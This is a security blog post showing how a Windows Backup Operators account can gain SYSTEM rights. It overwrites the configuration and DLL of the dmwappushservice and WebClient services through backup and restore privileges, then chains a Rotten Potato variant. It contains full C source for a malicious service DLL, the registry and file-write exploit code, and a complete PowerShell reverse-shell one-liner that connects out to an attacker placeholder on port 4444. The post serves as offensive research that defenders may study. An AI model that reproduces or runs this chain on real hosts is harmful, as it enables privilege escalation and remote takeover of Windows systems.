“Backup Operators” group is an historical Windows built in group. It was designed to allow its members to perform backup and restore operations by granting the SeBackupPrivilege and the SeRestorePrivilege. What does this mean? Well, for some operations like backup and restore, the DACL (Discretionary Access Control Lists) are ignored; this to permit then backup/restore of files to which, normally, the backup operator doesn’t have full access – see, for example, files in System32 or even protected registry entries and so on and so forth.
Abusing these privileges could lead to elevation of privileges, gaining Administrator or SYSTEM rights.
Before proceeding, I would recommend this excellent paper: Abusing Token Privileges For LPE. A must document which explains in depth some token and privilege abusing techniques, including the backup and restore privileges with an example relying on scheduled tasks and Image File Execution options.
In this post, my goal is to find an alternative technique to escalate privileges using services.
NOTE:
Everything has been tested on Win10 and Windows 2016 Server. However, the techniques are valid in any Windows version. The codebase of all my “manipulations” is here:
https://github.com/decoder-it/BadBackupOperator
First of off, a short explanation of some of the Windows API calls which permits a backup operator to perform some high privilege actions.
- CreateFile()
HANDLE WINAPI CreateFile( _In_ LPCTSTR lpFileName, _In_ DWORD dwDesiredAccess, _In_ DWORD dwShareMode, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, _In_ DWORD dwCreationDisposition, _In_ DWORD dwFlagsAndAttributes, _In_opt_ HANDLE hTemplateFile );
Here, the interesting parameter is dwFlagsAndAttributes.
Setting this value FILE_FLAG_BACKUP_SEMANTICS, accordingly to Microsoft, “The file is being opened or created for a backup or restore operation. The system ensures that the calling process overrides file security checks when the process has SE_BACKUP_NAME and SE_RESTORE_NAME privileges.”
Which means: As Backup Operator it is possible to create a file everywhere in the File System. Cool, isn’t it?
- RegCreateKeyEx()
LONG WINAPI RegCreateKeyEx( _In_ HKEY hKey, _In_ LPCTSTR lpSubKey, _Reserved_ DWORD Reserved, _In_opt_ LPTSTR lpClass, _In_ DWORD dwOptions, _In_ REGSAM samDesired, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, _Out_ PHKEY phkResult, _Out_opt_ LPDWORD lpdwDisposition );
This API creates a registry key, if doesn’t exist, and returns a handle to the key. In this case, it is interesting dwOptions. Setting as value REG_OPTION_BACKUP_RESTORE, we can add/modify a registry entry regardless of DACL. That’s because we are performing a “restore” operation 😉
However, some prerequisites are required:
- You need an elevated interactive shell, otherwise the privileges are not exploitable.
Gaining an elevated shell goes behind the scope of this article and, for the rest of the article, I will assume that we know the password of the backup operator and have an interactive desktop. (for the sake of simplicity)
Ok, time to move on! My idea was quite simple:
- Find a service running with SYSTEM privileges and which is startable by a normal user. Then, replace the binary with our own “reverse shell service” binary
- Overwrite the service configuration in HKLM\SYSTEM\CurrentControlSet\Services registry
- Start the service and profit!
I had to find a service with these characteristics and after some investigations, I got the possible candidate in “dmwappushservice“, a service which is part of the “Windows Telemetry and Data Collection services” and it is installed by default on Windows 10 & 2016.
With the following command I was able to list the access rights of the service:
C:\>sc sdshow dmwappushservice D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;LCRP;;;AC)(A;;LCRP;;;IU)(A;;LCRP;;;AU)
Interactive users (IU) have the right to start (RP) the service: (A;;LCRP;;;IU). Also, the startup type is Manual and triggered which is a great opportunity!
As mentioned before, the idea was to “overwrite” a Windows service with one of my own. Doing it in C or C# is not that complex, there are tons of examples ready to use. However, in this case things are a bit complex: The service is launched by svchost.exe, a system process that hosts multiple Windows services in the form of Dynamic Linked Library (DLL), identified by the service type WIN32_SHARE_PROCESS.
C:\>sc queryex dmwappushservice SERVICE_NAME: dmwappushservice TYPE : 20 WIN32_SHARE_PROCESS STATE : 1 STOPPED WIN32_EXIT_CODE : 1077 (0x435) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 PID : 0 FLAGS :
Service configurations are saved in the Registry and typically the sub-key Parameters hosts the name of the DLL to be launched, along with the ServiceMain name function to call.
Actually, there is not much documentation on the matter but, after some googling and mostly testing, I managed to build a working DLL!
Below is a “minimalist” source code, compiled in VS2015 as DLL:
#include "stdafx.h" #define EXPORT comment(linker, "/EXPORT:" __FUNCTION__ "=" __FUNCDNAME__) __declspec(dllexport) VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv); __declspec(dllexport) DWORD WINAPI MyHandler(DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext); SERVICE_STATUS_HANDLE hSHandle; SERVICE_STATUS ServiceStatus; void Log(char *); void Log(char *message) { FILE *file; file = fopen("c:/temp/log.txt", "a+"); fputs(message, file);fclose(file); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { return TRUE; } VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv) { #pragma EXPORT Log("service main\n"); DWORD status = 0; DWORD specificError = 0xfffffff; ServiceStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS; ServiceStatus.dwCurrentState = SERVICE_START_PENDING; ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SRVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; hSHandle = RegisterServiceCtrlHandlerW(L"dmwappushservice", (LPHANDLER_FUNCTION)MyHandler); if ( hSHandle == 0) { Log("Registering Control Handler failed\n"); return; } ServiceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus( hSHandle, &ServiceStatus); STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); if (!CreateProcess(L"c:\\temp\\rev.bat", NULL, NULL, NULL, 0, 0, NULL, NULL, &si, &pi)) Log("CreateProcess failed\n"); return; } DWORD WINAPI MyHandler( DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext) { #pragma EXPORT switch (dwControl) { case SERVICE_CONTROL_STOP: case SERVICE_CONTROL_SHUTDOWN: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; break; case SERVICE_CONTROL_PAUSE: ServiceStatus.dwCurrentState = SERVICE_PAUSED; break; case SERVICE_CONTROL_CONTINUE: ServiceStatus.dwCurrentState = SERVICE_RUNNING; break; case SERVICE_CONTROL_INTERROGATE: break; default: break; } SetServiceStatus(hSHandle, &ServiceStatus); return NO_ERROR; }
The exported functions are “ServiceMain” and “MyHandler”. Once the service is started by svchost.exe, the DLL is loaded and the ServiceMain() function invoked. After some initialization stuff, a new process is created. It will execute a batch file under the SYSTEM account!!
During my tests, after starting the service, I got Procedure not found error error. Analyzing with “Dependency Walker” utility, I discovered that the reason was behind the decorated function names. To get rid of it, I created the necessary EXPORT directive, which exports the undecorated functions as well. After that, everything was OK.
With a working servicedll.dll, I could move to the second step: Gain a privileged shell. Remember, “dummyuser” is not Administrator but is only member of Backup Operators group.
Time to use CreateRegEx() and CreateFile() functions. With CreateRegEx(), I changed the ServiceDLL entry:
std::string data = "c:\\windows\\system32\\servicedll.dll"; LSTATUS stat = RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\smwappushsvc\\Parameters", 0,NULL,REG_OPTION_BACKUP_RESTORE,KEY_SET_VALUE,NULL,&hk,NULL); stat = RegSetValueExA(hk,"ServiceDLL",0,REG_EXPAND_SZ,(const BYTE*)data.c_str(),data.length() + 1); if (stat != ERROR_SUCCESS) { printf("Failed writing key! %d\n", stat); return 1; } printf("Setting registry OK\n");
While with CreateFile(), I created the service dll file in Windows System directory.
NOTE: I could simply copy the dll in any writable directory, but used CreateFile() to demonstrate that with this function I could write anywhere, in this case I used System32
#define FSIZE 11777 //ugly - quick & dirty char buf[FSIZE+1]; LPCWSTR fnamein = L"c:\\temp\\servicedll.dll"; LPCWSTR fnameout = L"c:\\windows\\system32\\servicedll.dll"; HANDLE source = CreateFile(fnamein,GENERIC_READ,0,NULL,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL); if (source == INVALID_HANDLE_VALUE) { printf("Error, source file not opened."); exit(EXIT_FAILURE); } HANDLE dest = CreateFile(fnameout, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (dest == INVALID_HANDLE_VALUE){ printf("Could not open %s file, error %d\n", fname, GetLastError()); exit(EXIT_FAILURE); } ReadFile(source, buf, FSIZE, bytesread, NULL); printf("Read bytes from source dll: %d\n", bytesread); WriteFile(dest, buf, bytesread, &bytedwritten, NULL); CloseHandle(dest); CloseHandle(source); printf("Bytes written to dest servicedll %d\n",byteswritten);
Last but not least, the contents of the batch file, a simple reverse shell in PS:
powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
After putting all the pieces together, the magic moment:
Registry written and file copied.. starting the service and waiting for the reverse shell…
Wohoo, it worked!
One step beyond, why not looking for other interesting windows services?
A particular Windows service named “WebClient” caught my attention. This is a triggered service too, not startable by a standard user but is launched when particular custom events occur. I won’t go too much in depth (https://msdn.microsoft.com/en-us/library/windows/desktop/dd405513(v=vs.85).aspx), just notice that events can be predefined or custom events. In this case, the event has to be registered in order to let Windows use it.
The WebClient service, installed by default on Windows 10 but available also on 2016, is started when a “standard” user makes a webdav request. To locally check this behavior, setup a simple webdav service (for example this one in Python: wsgidav). From a command prompt invoke it:
c:\>pushd \\ip\[resource]
And you will see that the WebClient service is started!
Now, in order to get more details about the service, run the following command:
C:\>sc qtriggerinfo webclient [SC] QueryServiceConfig2 SUCCESS SERVICE_NAME: webclient START SERVICE CUSTOM : 22b6d684-fa63-4578-87c9-effcbe6643c7 [UUID PROVIDER ETW]
sc utility confirmed it is a custom trigger and gives the UUID: 22b6d684-fa63-4578-87c9-effcbe6643c7
With the UUID it should not be difficult to write our own C/C# program which triggers any event via program.
This wonderful script (C# embedded in PS) does exactly what we need!: http://www.lieben.nu/liebensraum/2016/10/how-to-start-a-trigger-start-windows-service-with-powershell-without-elevation-admin-rights/
In this case, instead of calling the webdav link, it is sufficient to launch the script!
The webclient service was launched by svchost.exe too, so I could reuse the same technique: same DLL, overwriting the registry entry and finally launching the trigger PS script:
Great! It worked again, but we got only “Local Service” privileges: a somehow limited internal user… oh no 😦
But wait, let’s check the privileges..
Impersonate and AssignPrimary Token. Anything familiar? Remember the “Rotten Potato” exploit? SYSTEM privileges are right behind the corner…
Here is my standalone version (Potatoes and tokens). To executed it:
PS C:\temp> .\myrotten * c:\temp\rev.bat
And the listener:
SYSTEM again!!
All in all, I described two possible Windows services exploits based on the seRestorePrivilege privilege, the one of the Backup Operators. There is much more, 3rd party services I’m looking at you, poorly configured…
Well, the only limit is your imagination! Hope you enjoyed it, and if so share it!
That’s all 🙂
Thanks to @Giutro for the critical review!